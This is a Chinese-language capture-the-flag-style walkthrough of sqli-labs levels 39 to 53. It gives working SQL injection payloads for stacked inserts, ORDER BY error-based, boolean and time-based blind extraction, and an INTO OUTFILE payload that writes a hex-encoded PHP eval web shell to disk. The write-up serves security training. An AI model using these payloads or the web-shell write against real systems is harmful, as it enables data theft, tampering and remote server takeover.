0x01:前言

继续

0x02:开始练习

41、Less 39

本关与上一关差别仅在于sql语句不同,此关卡为数字型注入,所以payload: ?id=1 ;insert into users(id,username,password) values ('39','less39','hello')-- +

42、Less 40

本关与上一关差别仅在于sql语句不同,此关卡为单引号括号闭合参数,

所以payload: ?id=1') ;insert into users(id,username,password) values ('40','less40','hello')-- +

43、Less 41

本关卡与less 39相比是没有错误回显的,也就是说它是盲注,所以语句与less 39相同payload: ?id=1;insert into users(id,username,password) values ('41','less41','hello')-- +

44、Less 42

我们观察login.php的源码

因为本关没有注册功能,所以登录成功后的修改密码便没有什么作用,不能像 Less 24 一样构造用户名进行平行越权。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

且即使登陆成功,忘记密码功能也做了注入过滤,无法利用

但是Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。

登录用户名随意,密码处使用堆叠注入插入数据

payload: login_user=admin&login_password=1'; insert into users(id,username,password) values ('42','less42','hello')-- +

45、Less 43

本关与less42原理相同,差别在于本关使用了单引号括号来包裹参数,所以payload为:

payload:login_user=root&login_password=1');insert into users(id,username,password) values ('43','less43','hello')-- +

46、Less 44

本关与less42原理相同,sql语句也相同,可以说是一模一样,所以payload为:

payload: login_user=admin&login_password=1'; insert into users(id,username,password) values ('44','less44','hello')-- +

47、Less 45

本关与less43原理相同,sql语句也相同,可以说是一模一样,所以payload为:

payload:login_user=root&login_password=1');insert into users(id,username,password) values ('45','less45','hello')-- +

48、Less 46

order by 注入

本关开始,学习order by 注入,其实order by注入在实际渗透中已经很少见了, 由于order by的缘故,几乎存在于传说中,我们观察源码

$sql = "SELECT * FROM users ORDER BY $id";

本关的查询语句为 select * ,所以会列出所有结果

也就是说,参数只要符合users表的列数,就可以查询出所有的数据。

所以我们的注入点在id这个参数。而order by不同于的我们在where后的注入点,不能使用union等进行注入。

但是依旧可以使用报错注入

且由于无法使用union,故采用的是双注入的方法,即子查询 / 派生表的注入方式。

payload:?sort=(select 1 from (select count(*),concat_ws('-',(select group_concat(schema_name) from information_schema.schemata),floor(rand()*2))as a from information_schema.tables group by a) b)

基于布尔的盲注

由于mysql也是一直弱类型,所以它也只会认为true=1,false=0,如果order by 参数后为0,则会发生错误,因为没有第0列

既然有了两种不同的显示,那我们就可以进行盲注了,但是由于order by 其后参数只有数字才可以正确执行返回结果,也就是说我们直接在order by 是没用的。

这里就要用到我们之前的rand()函数了

rand()函数早在 Less 5 中已经介绍过了,它是个随机函数,返回0~1间的小数。使用时也可以给定参数值(随机种子),相同的参数生成的结果也相同,我们只需注意两点:

rand()函数在 order by 同样适用

所以payload: ?sort=rand((ascii(mid((select database()),1,1)))>65)

接下来只需将语句嵌入mid函数即可

如payload: ?sort=rand((ascii(mid((select schema_name from information_schema.schemata limit 6,1),1,1)))>115)

基于时间的盲注

在这之前要说一下sleep()函数,在测试的时候发现sleep并不能根据设置的值返回规定的时间,后来查阅资料才知道在添加了sleep()函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL 会对每条满足条件的记录停留 N 秒钟。比如我查询 like '%s' 出现3个结果,然后我增加sleep(1)函数,那么该语句就会执行3秒。

所以payload:?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

同样查询其他数据将select语句嵌入mid函数即可

into outfile 参数注入

可以使用into outfile 子句将文件导入到绝对路径,注意路径转义。

导入木马:payload:?sort=1 into outfile "/var/lib/mysql-files/cmd.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e

其中 lines terminated by 子句将每行以指定字符串结尾。

49、Less 47

本关卡与less 46区别仅仅在于id参数由单引号包裹,由于单引号的原因,语句必须由and连接,但是经过试验发现用and rand()连接order by column_name / column_number时返回的不是固定值。所以只能使用报错盲注和时间盲注

payload:?sort=1' and (select 1 from (select count(*),concat_ws('-',(select group_concat(schema_name) from information_schema.schemata),floor(rand()*2))as a from information_schema.tables group by a) b) --+

50、Less 48

本关sql语句为:

$sql = "SELECT * FROM users ORDER BY $id";

与less 46区别在于其注释了错误回显,也就是说无法进行报错盲注。但是依然可以使用布尔盲注和时间盲注

payload: ?sort=rand((ascii(mid((select schema_name from information_schema.schemata limit 6,1),1,1)))>115)

51、Less 49

本关sql语句为:

$sql = "SELECT * FROM users ORDER BY '$id'";

与less47的区别在于注释了mysql错误回显,所以无法使用错误盲注,且使用了单引号,所以无法使用布尔盲注。但是依然可以使用时间盲注

payload: ?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0) -- +

52、Less 50

本关开始我们进行order by 堆叠注入,由于本关卡使用的查询函数为 mysqli_multi_query()函数 ,所以其目的在于堆叠注入,关于 mysqli_multi_query()函数 已经在less 38讲过了,这里就不多赘述。

所以payload: ?sort=1;insert into users(id,username,password) values ('50','less50','hello')

53、Less 51

本关与less 50区别在于id参数被单引号包裹,所以需要闭合单引号。

payload: ?sort=1';insert into users(id,username,password) values ('51','less51','hello') -- +

54、Less 52

本关与less 50相比之不会有错误回显,这只会影响到报错注入,但是并不会影响到堆叠注入,所以对于stacked injection 来说payload是一样的

payload: ?sort=1;insert into users(id,username,password) values ('52','less52','hello')

55、Less 53

本关则与less 51sql代码相同,但是也不会回显错误,所以payload: ?sort=1';insert into users(id,username,password) values ('53','less53','hello') -- +

0x03:结语

这几关引出了一个不常见的注入方式,也就是order by 注入,虽然实际情况并不常见,但是也是深入理解注入的一种方式。